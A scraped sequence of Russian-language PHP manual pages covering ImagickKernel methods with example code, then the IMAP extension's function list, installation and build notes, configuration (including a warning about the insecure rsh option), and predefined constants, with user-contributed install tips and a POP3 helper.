Созданный ImagickKernel.

Примеры

Пример #1 Пример использования ImagickKernel::fromMatrix()

<?php

function renderKernel(ImagickKernel $imagickKernel) {
$matrix = $imagickKernel->getMatrix();

$imageMargin = 20;

$tileSize = 20;
$tileSpace = 4;
$shadowSigma = 4;
$shadowDropX = 20;
$shadowDropY = 0;

$radius = ($tileSize / 2) * 0.9;

$rows = count($matrix);
$columns = count($matrix[0]);

$imagickDraw = new \ImagickDraw();

$imagickDraw->setFillColor('#afafaf');
$imagickDraw->setStrokeColor('none');

$imagickDraw->translate($imageMargin, $imageMargin);
$imagickDraw->push();

ksort($matrix);

foreach ($matrix as $row) {
ksort($row);
$imagickDraw->push();
foreach ($row as $cell) {
if ($cell !== false) {
$color = intval(255 * $cell);
$colorString = sprintf("rgb(%f, %f, %f)", $color, $color, $color);
$imagickDraw->setFillColor($colorString);
$imagickDraw->rectangle(0, 0, $tileSize, $tileSize);
}
$imagickDraw->translate(($tileSize + $tileSpace), 0);
}
$imagickDraw->pop();
$imagickDraw->translate(0, ($tileSize + $tileSpace));
}

$imagickDraw->pop();

$width = ($columns * $tileSize) + (($columns - 1) * $tileSpace);
$height = ($rows * $tileSize) + (($rows - 1) * $tileSpace);

$imagickDraw->push();
$imagickDraw->translate($width/2 , $height/2);
$imagickDraw->setFillColor('rgba(0, 0, 0, 0)');
$imagickDraw->setStrokeColor('white');
$imagickDraw->circle(0, 0, $radius - 1, 0);
$imagickDraw->setStrokeColor('black');
$imagickDraw->circle(0, 0, $radius, 0);
$imagickDraw->pop();

$canvasWidth = $width + (2 * $imageMargin);
$canvasHeight = $height + (2 * $imageMargin);

$kernel = new \Imagick();
$kernel->newPseudoImage(
$canvasWidth,
$canvasHeight,
'canvas:none'
);

$kernel->setImageFormat('png');
$kernel->drawImage($imagickDraw);

/* создание тени на собственном слое */
$canvas = $kernel->clone();
$canvas->setImageBackgroundColor(new \ImagickPixel('rgb(0, 0, 0)'));
$canvas->shadowImage(100, $shadowSigma, $shadowDropX, $shadowDropY);

$canvas->setImagePage($canvasWidth, $canvasHeight, -5, -5);
$canvas->cropImage($canvasWidth, $canvasHeight, 0, 0);

/* накладывает исходный text_layer на shadow_layer */
$canvas->compositeImage($kernel, \Imagick::COMPOSITE_OVER, 0, 0);
$canvas->setImageFormat('png');

return $canvas;
}

function createFromMatrix() {
$matrix = [
[0.5, 0, 0.2],
[0, 1, 0],
[0.9, 0, false],
];

$kernel = \ImagickKernel::fromMatrix($matrix);

return $kernel;
}

function fromMatrix() {
$kernel = createFromMatrix();
$imagick = renderKernel($kernel);

header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Получает 2d матрицу значений, используемых в этом ядре

  • « ImagickKernel::fromMatrix
  • ImagickKernel::scale »
  • PHP Manual
  • ImagickKernel
  • Получает 2d матрицу значений, используемых в этом ядре

ImagickKernel::getMatrix

(PECL imagick >= 3.3.0)

ImagickKernel::getMatrix — Получает 2d матрицу значений, используемых в этом ядре

Описание

public ImagickKernel::getMatrix(): array

Получить 2d матрицу значений, используемых в этом ядре. Элементы являются либо числом с плавающей точкой для используемых элементов, либо 'false', если элемент должен быть пропущен.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Матрица (2d массив) значений, представляющих ядро.

Примеры

Пример #1 Пример использования ImagickKernel::getMatrix()

<?php

function renderKernelTable($matrix) {
$output = "<table class='infoTable'>";

foreach ($matrix as $row) {
$output .= "<tr>";
foreach ($row as $cell) {
$output .= "<td style='text-align:left'>";
if ($cell === false) {
$output .= "false";
}
else {
$output .= round($cell, 3);
}
$output .= "</td>";
}
$output .= "</tr>";
}

$output .= "</table>";

return $output;
}

$output = "Имя встроенного ядра 'ring' с параметрами '2,3.5':<br/>";
$kernel = \ImagickKernel::fromBuiltIn(
\Imagick::KERNEL_RING,
"2,3.5"
);
$matrix = $kernel->getMatrix();
$output .= renderKernelTable($matrix);

echo $output;

?>

User Contributed Notes

There are no user contributed notes for this page.


Масштабирует список ядер на заданную величину

  • « ImagickKernel::getMatrix
  • ImagickKernel::separate »
  • PHP Manual
  • ImagickKernel
  • Масштабирует список ядер на заданную величину

ImagickKernel::scale

(PECL imagick >= 3.3.0)

ImagickKernel::scale — Масштабирует список ядер на заданную величину

Описание

public ImagickKernel::scale(float $scale, int $normalizeFlag = ?): void

Масштабирует заданный список ядер на заданную величину, с нормализацией или без нормализации суммы значений ядер (согласно заданным флагам). Точное поведение функции зависит от используемого типа нормализации, смотрите подробности на http://www.imagemagick.org/api/morphology.php#ScaleKernelInfo.

Список параметров

scale

normalizeFlag

  • Imagick::NORMALIZE_KERNEL_NONE
  • Imagick::NORMALIZE_KERNEL_VALUE
  • Imagick::NORMALIZE_KERNEL_CORRELATE
  • Imagick::NORMALIZE_KERNEL_PERCENT

Возвращаемые значения

Примеры

Пример #1 Пример использования ImagickKernel::scale()

<?php

function renderKernelTable($matrix) {
$output = "<table class='infoTable'>";

foreach ($matrix as $row) {
$output .= "<tr>";
foreach ($row as $cell) {
$output .= "<td style='text-align:left'>";
if ($cell === false) {
$output .= "false";
}
else {
$output .= round($cell, 3);
}
$output .= "</td>";
}
$output .= "</tr>";
}

$output .= "</table>";

return $output;
}

$output = "";

$matrix = [
[-1, 0, -1],
[ 0, 4, 0],
[-1, 0, -1],
];

$kernel = \ImagickKernel::fromMatrix($matrix);
$kernelClone = clone $kernel;

$output .= "Старт ядра<br/>";
$output .= renderKernelTable($kernel->getMatrix());

$output .= "Масштабирование с NORMALIZE_KERNEL_VALUE. The <br/>";
$kernel->scale(2, \Imagick::NORMALIZE_KERNEL_VALUE);
$output .= renderKernelTable($kernel->getMatrix());

$kernel = clone $kernelClone;
$output .= "Масштабирование в процентах<br/>";
$kernel->scale(2, \Imagick::NORMALIZE_KERNEL_PERCENT);
$output .= renderKernelTable($kernel->getMatrix());

$matrix2 = [
[-1, -1, 1],
[ -1, false, 1],
[1, 1, 1],
];

$kernel = \ImagickKernel::fromMatrix($matrix2);
$output .= "Масштабирование по корреляции<br/>";
$kernel->scale(1, \Imagick::NORMALIZE_KERNEL_CORRELATE);
$output .= renderKernelTable($kernel->getMatrix());

return $output;
?>

User Contributed Notes

There are no user contributed notes for this page.


Разделяет связанный набор ядер и возвращает массив ImagickKernels

  • « ImagickKernel::scale
  • Модули для работы с почтой »
  • PHP Manual
  • ImagickKernel
  • Разделяет связанный набор ядер и возвращает массив ImagickKernels

ImagickKernel::separate

(PECL imagick >= 3.3.0)

ImagickKernel::separate — Разделяет связанный набор ядер и возвращает массив ImagickKernels

Описание

public ImagickKernel::separate(): array

Разделяет связанный набор ядер и возвращает массив ImagickKernels.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Примеры

Пример #1 Пример использования ImagickKernel::separate()

<?php

function renderKernelTable($matrix) {

$output = "<table class='infoTable'>";
foreach ($matrix as $row) {
$output .= "<tr>";
foreach ($row as $cell) {
$output .= "<td style='text-align:left'>";
if ($cell === false) {
$output .= "false";
}
else {
$output .= round($cell, 3);
}
$output .= "</td>";
}
$output .= "</tr>";
}

$output .= "</table>";

return $output;
}

$matrix = [
[-1, 0, -1],
[ 0, 4, 0],
[-1, 0, -1],
];

$kernel = \ImagickKernel::fromMatrix($matrix);
$kernel->scale(4, \Imagick::NORMALIZE_KERNEL_VALUE);
$diamondKernel = \ImagickKernel::fromBuiltIn(
\Imagick::KERNEL_DIAMOND,
"2"
);

$kernel->addKernel($diamondKernel);

$kernelList = $kernel->separate();

$output = '';
$count = 0;
foreach ($kernelList as $kernel) {
$output .= "<br/>Ядро $count<br/>";
$output .= renderKernelTable($kernel->getMatrix());
$count++;
}

return $output;

?>

User Contributed Notes

There are no user contributed notes for this page.


Модули для работы с почтой

  • IMAP — IMAP, POP3 и NNTP
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Функции IMAP
    • IMAP\Connection — Класс IMAP\Connection
  • Mail
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Почта
  • Mailparse
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Mailparse

User Contributed Notes

There are no user contributed notes for this page.


IMAP, POP3 и NNTP

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Функции IMAP
    • imap_8bit — Конвертирует 8-битную строку в строку в формате quoted-printable
    • imap_alerts — Возвращает все произошедшие предупредительные сообщения IMAP
    • imap_append — Добавляет строковое сообщение в указанный почтовый ящик
    • imap_base64 — Декодировать текст закодированный BASE64
    • imap_binary — Конвертирует 8-битную строку в строку base64
    • imap_body — Прочитать тело сообщения
    • imap_bodystruct — Прочитать структуру указанной секции тела заданного сообщения
    • imap_check — Проверить текущий почтовый ящик
    • imap_clearflag_full — Снять с сообщения установленные флаги
    • imap_close — Закрыть поток IMAP
    • imap_create — Псевдоним imap_createmailbox
    • imap_createmailbox — Создать новый почтовый ящик
    • imap_delete — Пометить сообщение для удаления
    • imap_deletemailbox — Удалить почтовый ящик
    • imap_errors — Получить все произошедшие ошибки IMAP
    • imap_expunge — Удалить все помеченные для удаления сообщения
    • imap_fetch_overview — Обзор информации, содержащейся в заголовках сообщений
    • imap_fetchbody — Извлечь конкретную секцию тела сообщения
    • imap_fetchheader — Получить заголовок сообщения
    • imap_fetchmime — Извлечь MIME-заголовки для конкретной секции сообщения
    • imap_fetchstructure — Прочитать структуру указанного сообщения
    • imap_fetchtext — Псевдоним imap_body
    • imap_gc — Очистить кеш IMAP
    • imap_get_quota — Получить настройку уровня квоты и статистику использования почтовых ящиков
    • imap_get_quotaroot — Получить настройки квоты для каждого пользователя
    • imap_getacl — Получить ACL для заданного почтового ящика
    • imap_getmailboxes — Прочитать список почтовых ящиков, возвращая подробную информацию по каждому из них
    • imap_getsubscribed — Список всех почтовых ящиков, на которые вы подписаны
    • imap_header — Псевдоним imap_headerinfo
    • imap_headerinfo — Прочитать заголовок сообщения
    • imap_headers — Получить заголовки всех сообщений в почтовом ящике
    • imap_is_open — Проверяет, является ли поток IMAP всё ещё корректным
    • imap_last_error — Получить последнюю ошибку IMAP в текущем запросе
    • imap_list — Прочитать список почтовых ящиков
    • imap_listmailbox — Псевдоним imap_list
    • imap_listscan — Получить список почтовых ящиков, имена которых содержат заданную строку
    • imap_listsubscribed — Псевдоним imap_lsub
    • imap_lsub — Список всех подписанных почтовых ящиков
    • imap_mail_compose — Создать MIME-сообщение на основе заданных обёртки и тела
    • imap_mail_copy — Скопировать сообщения в указанный почтовый ящик
    • imap_mail_move — Переместить указанные сообщения в указанный почтовый ящик
    • imap_mail — Отправить email
    • imap_mailboxmsginfo — Получить информацию о текущем почтовом ящике
    • imap_mime_header_decode — Декодировать элементы заголовка
    • imap_msgno — Получить номер сообщения с заданным UID
    • imap_mutf7_to_utf8 — Декодировать изменённую строку UTF-7 в UTF-8
    • imap_num_msg — Получить количество сообщений в текущем почтовом ящике
    • imap_num_recent — Получить количество новых сообщений в текущем почтовом ящике
    • imap_open — Открывает поток IMAP к почтовому ящику
    • imap_ping — Проверить, активен ли ещё поток IMAP
    • imap_qprint — Преобразовать строку из формата "quoted-printable" в 8-битную строку
    • imap_rename — Псевдоним imap_renamemailbox
    • imap_renamemailbox — Переименовать почтовый ящик
    • imap_reopen — Переоткрывает поток IMAP к новому ящику
    • imap_rfc822_parse_adrlist — Разбор адресной строки
    • imap_rfc822_parse_headers — Разбор строки заголовка письма
    • imap_rfc822_write_address — Получить корректно сформированный e-mail адрес, заданный именем ящика, хоста и персональной информацией
    • imap_savebody — Сохранить часть тела сообщения в файл
    • imap_scan — Псевдоним imap_listscan
    • imap_scanmailbox — Псевдоним imap_listscan
    • imap_search — Получить сообщения, удовлетворяющие заданным критериям
    • imap_set_quota — Установить квоту для заданного почтового ящика
    • imap_setacl — Установка ACL для заданного почтового ящика
    • imap_setflag_full — Установить флаги на сообщения
    • imap_sort — Получить и отсортировать сообщения
    • imap_status — Получить информацию по статусу почтового ящика
    • imap_subscribe — Подписаться на почтовый ящик
    • imap_thread — Получить дерево связанных сообщений
    • imap_timeout — Установить или получить время ожидания imap
    • imap_uid — Получить UID по номеру сообщения
    • imap_undelete — Снимает с сообщения метку удаления
    • imap_unsubscribe — Отписаться от почтового ящика
    • imap_utf7_decode — Декодирует строку из модифицированной кодировки UTF-7
    • imap_utf7_encode — Преобразует строку ISO-8859-1 в модифицированную UTF-7
    • imap_utf8_to_mutf7 — Кодировать строку UTF-8 в изменённую UTF-7
    • imap_utf8 — Преобразует MIME-кодированный текст в UTF-8
  • IMAP\Connection — Класс IMAP\Connection

User Contributed Notes

opto 16-Mar-2012 12:08
it seems that in new PHP versions, $ssl must be specified even if no ssl is used - I got it working for POP3 only after adding /notls (honour some post I found somewhere)
Klaus
dev at bluehead dot com dot br 27-Nov-2011 06:13
Because I don't know regular expressions, I hacked the mail_parse_headers() to properly get the last line from the header string:

<?php
function mail_parse_headers($headers)
{

    $headers=preg_replace('/\r\n\s+/m', '',$headers);
    $headers=trim($headers)."\r\n"; /* a hack for the preg_match_all in the next line */
    preg_match_all('/([^: ]+): (.+?(?:\r\n\s(?:.+?))*)?\r\n/m', $headers, $matches);
    foreach ($matches[1] as $key =>$value) $result[$value]=$matches[2][$key];
    return($result);
}
?>
Wil Barath 25-Feb-2010 07:54
For all the people coming here praying for:

1) a dead-easy way to read MIME attachments, or
2) a dead-easy way to access POP3 folders

Look no further.

<?php
function pop3_login($host,$port,$user,$pass,$folder="INBOX",$ssl=false)
{
    $ssl=($ssl==false)?"/novalidate-cert":"";
    return (imap_open("{"."$host:$port/pop3$ssl"."}$folder",$user,$pass));
}
function pop3_stat($connection)
{
    $check = imap_mailboxmsginfo($connection);
    return ((array)$check);
}
function pop3_list($connection,$message="")
{
    if ($message)
    {
        $range=$message;
    } else {
        $MC = imap_check($connection);
        $range = "1:".$MC->Nmsgs;
    }
    $response = imap_fetch_overview($connection,$range);
    foreach ($response as $msg) $result[$msg->msgno]=(array)$msg;
        return $result;
}
function pop3_retr($connection,$message)
{
    return(imap_fetchheader($connection,$message,FT_PREFETCHTEXT));
}
function pop3_dele($connection,$message)
{
    return(imap_delete($connection,$message));
}
function mail_parse_headers($headers)
{
    $headers=preg_replace('/\r\n\s+/m', '',$headers);
    preg_match_all('/([^: ]+): (.+?(?:\r\n\s(?:.+?))*)?\r\n/m', $headers, $matches);
    foreach ($matches[1] as $key =>$value) $result[$value]=$matches[2][$key];
    return($result);
}
function mail_mime_to_array($imap,$mid,$parse_headers=false)
{
    $mail = imap_fetchstructure($imap,$mid);
    $mail = mail_get_parts($imap,$mid,$mail,0);
    if ($parse_headers) $mail[0]["parsed"]=mail_parse_headers($mail[0]["data"]);
    return($mail);
}
function mail_get_parts($imap,$mid,$part,$prefix)
{
    $attachments=array();
    $attachments[$prefix]=mail_decode_part($imap,$mid,$part,$prefix);
    if (isset($part->parts)) // multipart
    {
        $prefix = ($prefix == "0")?"":"$prefix.";
        foreach ($part->parts as $number=>$subpart)
            $attachments=array_merge($attachments, mail_get_parts($imap,$mid,$subpart,$prefix.($number+1)));
    }
    return $attachments;
}
function mail_decode_part($connection,$message_number,$part,$prefix)
{
    $attachment = array();

    if($part->ifdparameters) {
        foreach($part->dparameters as $object) {
            $attachment[strtolower($object->attribute)]=$object->value;
            if(strtolower($object->attribute) == 'filename') {
                $attachment['is_attachment'] = true;
                $attachment['filename'] = $object->value;
            }
        }
    }

    if($part->ifparameters) {
        foreach($part->parameters as $object) {
            $attachment[strtolower($object->attribute)]=$object->value;
            if(strtolower($object->attribute) == 'name') {
                $attachment['is_attachment'] = true;
                $attachment['name'] = $object->value;
            }
        }
    }

    $attachment['data'] = imap_fetchbody($connection, $message_number, $prefix);
    if($part->encoding == 3) { // 3 = BASE64
        $attachment['data'] = base64_decode($attachment['data']);
    }
    elseif($part->encoding == 4) { // 4 = QUOTED-PRINTABLE
        $attachment['data'] = quoted_printable_decode($attachment['data']);
    }
    return($attachment);
}
?>

[EDIT BY danbrown AT php DOT net: Contains a bugfix by "mn26826" on 09-JUN-2010, which fixed the erroneous reference to $imap as the parameter passed to imap_mailboxmsginfo() within the user function pop3_stat().  This was intended to be $connection.]

[EDIT BY visualmind AT php DOT net: Contains a bugfix by "elias-jobview" on 17-AUG-2010, which fixed the error in pop3_list function which didn't have: return $result]

[EDIT BY danbrown AT php DOT net: Contains a bugfix by "chrismeistre" on 09-SEP-2010, which fixed the erroneous reference to $mbox (should be $connection) in the pop3_list() function.]


Введение

Эти функции позволяют работать с протоколом IMAP, а также NNTP, POP3 и локальными методами доступа к почтовому ящику.

Однако следует иметь в виду, что некоторые функции IMAP не будут корректно работать c протоколом POP.

Внимание

Модуль IMAP не является потокобезопасным; его не следует использовать со сборками ZTS.

User Contributed Notes

There are no user contributed notes for this page.


Установка и настройка

Содержание

  • Требования
  • Установка
  • Настройка во время выполнения
  • Типы ресурсов

User Contributed Notes

Shadab Kiani 08-Jan-2021 12:20
For CentOS

If you are using PHP 7.2, run this:
--------------------------------------
yum install sclo-php72-php-imap
--------------------------------------

Then restart Apache with this:
---------------------------
systemctl restart httpd
---------------------------
kuz-alex at mail dot ru 23-Apr-2019 12:48
Ubuntu 18.04

sudo apt-get install php-imap
jevon at jevon dot org 06-Jan-2015 03:27
On Ubuntu 14.04+, you need to first install with apt-get:

apt-get install php5-imap

However it's not enabled by default so enable it with:

php5enmod imap
panchtatvam at gmail dot com 23-May-2014 07:25
For Fedora 20
===========

Install php-imap:
sudo yum install php-imap

Then restart httpd :
sudo service httpd restart
Robin Scurr 05-Feb-2014 05:20
This applies to SUSE Linux

When I did "php -m" at the bash prompt, imap WAS listed as installed, however the results of <?php echo phpinfo(); ?> DID NOT have imap anywhere? All the *.ini files were processed from the \etc\php5\conf.d directory EXCEPT the imap.ini file.

I fixed this by adding to the file \etc\php5\apache2\php.ini the line:

extension=imap.so

... even though a file called imap.ini contained that same entry in \etc\php5\conf.d?

Explicitly entering the extension=imap.so in the php5.ini file fixed - you do have to restart PHP (reboot) after making the entry....

All is well now.
marcin at koziarz dot pl 13-May-2013 07:25
In ArchLinux, a php package provides this module, but it is disabled by default.
Simply uncomment a line (remove semicolon) in /etc/php/php.ini:

;extension=imap.so

to

extension=imap.so

and then, restart PHP.
dale3h 13-Jan-2009 01:31
In CentOS:

yum install php-imap

Works like a charm!
LZZ 08-Dec-2008 10:11
On Gentoo:

edit /etc/make.conf and include imap to the USE flags,
then run

emerge php
dlaplant at integresystems dot com 02-Sep-2008 01:24
For rhel4 add the libc-client-devel package
clay at scvalleypopcorn dot com 02-Aug-2008 12:38
apt-get install php5-imap

Works well also.... Enjoy
Josecito 27-May-2008 07:21
To install the IMAP module on Red Hat Linux Enterprise 4 (RHEL4):
- Open a terminal window
- If you're not root, become root with su
- type:
RPM -i php-imap
(RPM will download, install and resolve dependencies)
- restart your web server with:
service httpd restart

I hope this helps newbies (like me).


Требования

Этот модуль требует установленной библиотеки c-client. Возьмите последнюю версию с » https://github.com/uw-imap/imap и скомпилируйте её.

Важно, чтобы вы не копировали исходные файлы IMAP непосредственно в системные include-директории, поскольку может вызвать конфликт. Вместо этого создайте новую директорию внутри системной include директории, например /usr/local/imap-2000b/ (месторасположение и имя зависит от вашей установленной версии IMAP), и внутри них создайте новые директории с именами lib/ и include/. Для c-client директории из вашей исходной директории IMAP скопируйте все *.h файлы в include/ и все *.c файлы в lib/. После того, как вы скомпилируете IMAP, будет создан файл с именем c-client.a. Затем переименуйте этот файл в libc-client.a и скопируйте его в lib/.

Замечание:

Для сборки библиотеки c-client с поддержкой SSL и/или Kerberos прочитайте документацию, поставляемую с пакетом.

Замечание: В Mandrake Linux, библиотека IMAP (libc-client.a) компилируется без поддержки Kerberos. Версия с поддержкой SSL (client-PHP4.a) устанавливается отдельно. Чтобы добавить поддержку Kerberos, перекомпилируйте библиотеку.

User Contributed Notes

obeco 06-Oct-2022 12:01
php-imap package is not available neither in Red Hat Enterprise Linux 7 nor 8.

To compile the extension yourself:

Prerequisites
# yum install pam-devel openssl-devel

Follow steps 2 and 3 from the previous post of "ldi at email dot cz"

Download the c-client library from github, you can see the link at the top of the page and compile with:
# make lr5 SSLINCLUDE=/usr/include/openssl/ EXTRACFLAGS=-fPIC
(if you are using another distro, instead of lr5 you will type something else, you can view the Makefile for other unix flavors)

Follow step 5 from the previous post of "ldi at email dot cz" which is what the second paragraph at the top of the page explains.

Download the PHP source code of the version installed in your system and go to the php/ext/imap folder.

# phpize
(If you installed the PHP packages from the Red Hat Software Collections you must run the following command before to set the enviroment eg: scl enable rh-php73 bash)

# ./configure --with-imap=<<path_to_where_you_unpacked_the_c-client_library_and_compiled_it>> --with-imap-ssl

# make

This creates the file php/ext/imap/modules/imap.so :)
Copy it to your extension_dir (you can find it in the phpinfo() page).
Create an .ini file in the php.d folder with the text: extension=imap.so

Restart apache and be happy.

P.S. You could probably find the extension compiled out there but who knows the trustiness of the source so better to get the official unaltered sources.
allan at umich dot edu 21-Mar-2019 07:28
It should be noted that the source code archives at the University of Washington, and the mirrors, have been dead for some time.

There is a github repository located here: https://github.com/uw-imap/imap
jameslandrok at gmail dot com 27-Jan-2015 05:32
A more secure & easy way to do this on Debian 7.7, php 5.4:

apt-get install php5-imap

Packages installed
  libc-client2007e mlock php5-imap
crabb1d at gmail dot com 09-Sep-2013 03:02
For those using Ubuntu and who are completely daunted by compiling this, it's easy under Ubuntu:

Install libc-client-dev
# sudo apt-get install libc-client-dev

Install PHP5 imap:
# sudo apt-get install php5-imap

Restart Apache
# sudo service apache2 reload

Should work for most people.
Anonymous 19-Jul-2013 10:04
When compiling IMAP 2007f with php 5.3.27 on a 64 bit OL5.7 machine, add in the Makefile: EXTRACFLAGS=-fPIC and EXTRAAUTHENTICATORS=gss
Anonymous 04-Oct-2011 10:58
When compiling IMAP on a 64 bit machine, use: make EXTRACFLAGS=-fPIC.
ldi at email dot cz 04-Aug-2010 10:09
After few hours of testing it on CentOS 5 64 bit I'd like to share the steps required to compile imap with php:

1. Install openssl:

   yum install openssl openssl-devel

2. If you don't have openssl compiled and installed in /usr/local/ssl create symlink:

   ln -s /usr/lib64/openssl/engines/ /usr/local/ssl

3. Add the libraries:

   ln -s /usr/include/ /usr/local/ssl/include

4. Compile IMAP

  cd /path/to/imap_src
  make lnp SSLTYPE=unix

5. Copy files as described above
 mkdir lib
 mkdir include
 cp c-client/*.c lib/
 cp c-client/*.h include/
 cp c-client/c-client.a lib/libc-client.a

6. Compile PHP
  cd /path/to/php/src
  ./configure --with-imap=/path/to/imap_src --with-libdir=lib64
Nick 02-Jul-2010 10:06
If you run into an error similar to the following when compiling / making PHP:

errno 0x21c /usr/local/imap-2007e/lib/libc-client.a(netmsg.o)
ld: fatal: relocations remain against allocatable but non-writable sections
make: Fatal error: Command failed for target `libphp5.la'

You need to recompile the IMAP library and add -fpic or -fPIC to your CFLAGS.

See:
http://bugs.php.net/bug.php?id=35465

Also, if you compiled OpenSSL from source, you'll need to do the same, as you'll get error messages for libc-client.a
eelco at care dot nl 17-Mar-2010 02:12
Spent hours and hours on compiling PHP with IMAP support on CentOS 64-bit but after many trial and error sessions I got if fixed.

If you have set the '--with-libdir=lib64' flag and you encounter the the 'cannot find the c-client library' error while compiling, try to create a symlink 'lib64' to 'lib' in your imap installation dir.

Apparantly, PHP will search only in lib64 directories if the flag is set. This also applies on the IMAP library but documentation lacks on this point.


Установка

Чтобы включить поддержку IMAP в сборку PHP, добавьте в конфигурацию опцию --with-imap[=DIR], где DIR это папка установки c-client. Для нашего вышеуказанного примера вы должны использовать --with-imap=/usr/local/imap-2000b. Этот путь зависит от того, где вы создали эту директорию в соответствии с описанием выше. Windows пользователи могут подключить php_imap.dll DLL в php.ini.

Замечание: В зависимости от того как настроен ваш c-client, вам может понадобиться добавить --with-imap-ssl=/path/to/openssl/ и/или --with-kerberos=/path/to/kerberos ключ при конфигурировании PHP.

Внимание

Модуль IMAP не является потокобезопасным; его не следует использовать со сборками ZTS.

Внимание

Модуль IMAP не может использоваться вместе с модулями перекодировки и YAZ. Это связано с тем фактом, что они оба используют одни и те же внутренние символы. Замечание: Версии Yaz 2.0 и выше избавлены от этого недостатка.

User Contributed Notes

Blessen 08-May-2019 02:01
To install php-imap on Ubuntu18 try

sudo apt install php-imap
sudo phpenmod imap
gabi3xz at yahoo dot com 26-Feb-2018 08:14
In centos 7
yum install sclo-php70-php-imap or php71, check your of php version installed with yum list *php7*


Настройка во время выполнения

Поведение этих функций зависит от установок в php.ini.

Опции настройки IMAP
Имя | По умолчанию | Место изменения | Список изменений
imap.enable_insecure_rsh | "0" | PHP_INI_SYSTEM | Доступно с PHP 7.1.25, 7.2.13 и 7.3.0. Раньше был неявно включён.
Для подробного описания констант PHP_INI_*, обратитесь к разделу Где могут быть установлены параметры конфигурации.

Краткое разъяснение конфигурационных директив.

imap.enable_insecure_rsh bool

Установление соединения с сервером может запустить команду rsh или ssh, если эта опция не отключена в php.ini.

Внимание

Ни PHP ни библиотека IMAP не фильтруют имена почтовых ящиков при передачи их командам rsh или ssh. Таким образом, передача непроверенных данных в эту функцию, без отключения этой опции в php.ini небезопасна.

User Contributed Notes

There are no user contributed notes for this page.


Типы ресурсов

До PHP 8.1.0, ресурс imap, возвращаемый функцией imap_open(), ссылался на открытый поток IMAP.

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Перечисленные ниже константы определены данным модулем и доступны либо в сборках PHP с поддержкой этого модуля, либо когда модуль динамически загружен во время выполнения.

NIL (int)
Объявлена устаревшей, начиная с PHP 8.1.0.
OP_DEBUG (int)
OP_READONLY (int)
Открыть почтовый ящик только для чтения
OP_ANONYMOUS (int)
Не используйте обновления .newsrc для новостей (только для NNTP)
OP_SHORTCACHE (int)
OP_SILENT (int)
OP_PROTOTYPE (int)
OP_HALFOPEN (int)
Для IMAP и NNTP имён, открыть соединение, но не открывать почтовый ящик.
OP_EXPUNGE (int)
OP_SECURE (int)
CL_EXPUNGE (int)
Не выдавая никаких предупреждений стирать сообщения прежде чем закрыть при вызове imap_close()
FT_UID (int)
Параметром является UID
FT_PEEK (int)
Не устанавливать флаг \Seen, если до этого он ещё не установлен
FT_NOT (int)
FT_INTERNAL (int)
Возвращаемая строка во внутреннем формате. Не будет канонизирована к виду CRLF.
FT_PREFETCHTEXT (int)
ST_UID (int)
Последовательность аргументов, которая содержит идентификаторы UID вместо последовательности номеров
ST_SILENT (int)
ST_SET (int)
CP_UID (int)
порядковые номера, содержащие идентификаторы UID
CP_MOVE (int)
Удалить сообщения из текущего почтового ящика после копирования с помощью imap_mail_copy()
SE_UID (int)
Возвращать идентификаторы UID вместо порядковых номеров
SE_FREE (int)
SE_NOPREFETCH (int)
Не выполнять предвыборку найденных сообщений
SO_FREE (int)
SO_NOSERVER (int)
SA_MESSAGES (int)
SA_RECENT (int)
SA_UNSEEN (int)
SA_UIDNEXT (int)
SA_UIDVALIDITY (int)
SA_ALL (int)
LATT_NOINFERIORS (int)
Этот почтовый ящик не имеет "потомков". (Почтовые ящики за этим отсутствуют)
LATT_NOSELECT (int)
Это только контейнер, а не почтовый ящик. Вы не можете открыть его.
LATT_MARKED (int)
Этот почтовый ящик помечен. Используется только UW-IMAPD.
LATT_UNMARKED (int)
Этот почтовый ящик не помечен. Используется только с UW-IMAPD.
LATT_REFERRAL (int)
Этот контейнер имеет направления (referral) на удалённый почтовый ящик.
LATT_HASCHILDREN (int)
Этот почтовый ящик имеет выбираемые подчинённые (inferiors).
LATT_HASNOCHILDREN (int)
Этот почтовый ящик не имеет выбираемые подчинённые (inferiors).
SORTDATE (int)
Критерий сортировки для imap_sort(): дата написания
SORTARRIVAL (int)
Критерий сортировки для imap_sort(): дата доставки
SORTFROM (int)
Критерий сортировки для imap_sort(): почтовый ящик первый в поле "от кого" (поле from)
SORTSUBJECT (int)
Критерий сортировки для imap_sort(): тема письма
SORTTO (int)
Критерий сортировки для imap_sort(): почтовый ящик первый в поле "кому" (поле to)
SORTCC (int)
Критерий сортировки для imap_sort(): почтовый ящик первый в поле "копия" (поле cc)
SORTSIZE (int)
Критерий сортировки для imap_sort(): размер сообщения в байтах
TYPETEXT (int)
Первичный тип тела сообщения: неформатированный текст
TYPEMULTIPART (int)
Первичный тип тела сообщения: несколько частей
TYPEMESSAGE (int)
Первичный тип тела сообщения: инкапсулированное сообщение
TYPEAPPLICATION (int)
Первичный тип тела сообщения: данные приложения
TYPEAUDIO (int)
Первичный тип тела сообщения: аудио
TYPEIMAGE (int)
Первичный тип тела сообщения: статическое изображение
TYPEVIDEO (int)
Первичный тип тела сообщения: видео
TYPEMODEL (int)
Первичный тип тела сообщения: модель
TYPEOTHER (int)
Первичный тип тела сообщения: неизвестно
ENC7BIT (int)
Кодировка тела сообщения: 7-битные данные в семантике SMTP
ENC8BIT (int)
Кодировка тела сообщения: 8-битные данные в семантике SMTP
ENCBINARY (int)
Кодировка тела сообщения: 7-битные двоичные данные
ENCBASE64 (int)
Кодировка тела сообщения: данные закодированные в base-64
ENCQUOTEDPRINTABLE (int)
Кодировка тела сообщения: человеко-читаемые 7-как-8 битные данные
ENCOTHER (int)
Кодировка тела сообщения: неизвестно
IMAP_OPENTIMEOUT (int)
IMAP_READTIMEOUT (int)
IMAP_WRITETIMEOUT (int)
IMAP_CLOSETIMEOUT (int)
IMAP_GC_ELT (int)
Сборщик мусора, очищает элементы кеша сообщений.
IMAP_GC_ENV (int)
Сборщик мусора, очищает обёртку и тело сообщения.
IMAP_GC_TEXTS (int)
Сборщик мусора, очищает текст.

User Contributed Notes

There are no user contributed notes for this page.


Функции IMAP

Смотрите также

